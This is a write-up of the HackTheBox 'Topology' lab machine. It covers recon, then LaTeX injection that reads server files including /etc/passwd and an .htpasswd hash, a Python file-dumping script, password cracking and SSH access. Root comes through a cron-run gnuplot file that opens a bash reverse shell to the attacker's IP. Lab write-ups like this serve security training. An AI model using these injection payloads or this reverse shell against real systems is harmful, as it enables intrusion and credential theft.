Home Topology - HackTheBox
Post
Cancel

Topology - HackTheBox

Topology is an easy linux machine on HackTheBox. It starts with exploiting a custom LaTeX parser to get LFI and leak creds to get a foothold on the box. Root involves exploiting gnuplot.


Info




Recon


NMAP


(Scan missed port 22 for some reason, but it’s open)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Nmap 7.80 scan initiated Wed Aug 16 23:23:05 2023 as: nmap -sC -sV -oN nmap.txt -v -T5 -Pn 10.10.11.217
Warning: 10.10.11.217 giving up on port because retransmission cap hit (2).
Increasing send delay for 10.10.11.217 from 0 to 5 due to 11 out of 23 dropped probes since last increase.
Nmap scan report for 10.10.11.217
Host is up (0.24s latency).
Not shown: 748 filtered ports, 251 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Miskatonic University | Topology Group

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Aug 16 23:25:23 2023 -- 1 IP address (1 host up) scanned in 138.92 seconds


Web


The homepage links to a subdomain;

I added it to my /etc/hosts file and load it up;

The page accepts our input in LaTeX and generate a PNG file out of it;

LaTeX is a powerful and obscure language, so I started looking for cheatsheets and reading docs. The simple latex code \input{/etc/hostname} can be used to read a file, but the application seems to block it;



Foothold


Many other useful commands were blocked. I was able to read files one line at a time using the payload;

1
\newread\file \openin\file=/etc/passwd \read\file to\line \text{\line} \closein\file

I tried adding a loop to this payload, but that was blocked too by the application. So I wrote a script that will sequentially expand the payload to read files one line at a time, and parse the response using OCR provided by the library pytesseract;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/python3
#--------------------------------------------------------------------
# A script to dump files one line at a time for Topology - HackTheBox
#                                                     Author: 4g3nt47
#--------------------------------------------------------------------

from PIL import Image
import pytesseract
import sys, requests

fname = sys.argv[1]
tmp = "output.png"
count = 1
while True:
  payload = "\\newread\\file \\openin\\file=" + fname + " " + ("\\read\\file to\\line " * count) +  "\\text{\\line} \\closein\\file"
  req = requests.get("http://latex.topology.htb/equation.php", params={"eqn":payload})
  if int(req.headers['Content-Length']) == 0:
    break
  if req.headers['Content-Type'] != "image/png":
    print(f"[-] Error obtaining line {count}")
    break
  wfo = open(tmp, "wb")
  wfo.write(req.content)
  wfo.close()
  print(pytesseract.image_to_string(Image.open(tmp)).rstrip())
  count += 1

This seems to work at first, but the problem with this approach is that with every line read, the size of our payload increases by several bytes. After a few lines, we exceeded the input limit of the web app;

Going back to PayloadAllTheThings, I noticed something at the beginning of the page;

Trying the $ character as a wrapper for one of the payloads, I was able to read a file successfully;

1
$\lstinputlisting{/etc/passwd}$

From the HTTP headers we know the server is running Apache2, so I dumped it’s default config file;

1
$\lstinputlisting{/etc/apache2/sites-enabled/000-default.conf}$

This revealed a new subdomain, so I added it to my /etc/hosts file. Loading the page, I was prompted for a login;

The request generated showed it’s a basic HTTP authentication;

This is usually configured in Apache2 using .htaccess files. Since the config told us the web root for this domain is at /var/www/dev, I used the LaTeX LFI to check for /var/www/dev/.htaccess;

Dumping the contents of /var/www/dev/.htpasswd gave me a hash;

Feeding this to john, I was able to crack it;

We know from /etc/passwd that vdaisley is a valid user, so I tried the password over SSH, and it worked;



PrivEsc


vdaisley does not have sudo perms, nor in any interesting group. Running pspy on the box picked up something interesting;

It looks like there is a cron job running as root, and passing all files inside /opt/gnuplot to gnuplot command. According to apt info gnuplot, it is a;

Command-line driven interactive plotting program. Gnuplot is a portable command-line driven interactive data and function plotting utility that supports lots of output formats, including drivers for many printers, (La)TeX, (x)fig, Postscript, and so on. The X11-output is packaged in gnuplot-x11.

The /opt/gnuplot directory is globally writable, which means we can drop .plt files in there to be processed by gnuplot;

gnuplot can be instructed to run a shell command using the system() function. So I created a simple .plt file to spawn a rev shell;

1
system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.73/4444 0>&1'")

Downloading it into the /opt/gnuplot directory, I got a callback after a few seconds;



Summary


  • NMAP found port 80
  • Found a web app for testing LaTeX code;
    • Exploited it to gain LFI and leak a hash from .htpasswd file
    • Cracked it and gained access over SSH as vdaisley
  • Inside as vdaisley;
    • Identified a running cron job that process .plt files inside a globally writable directory.
    • Exploited it to gain code execution as root.
This post is licensed under CC BY 4.0 by the author.
Contents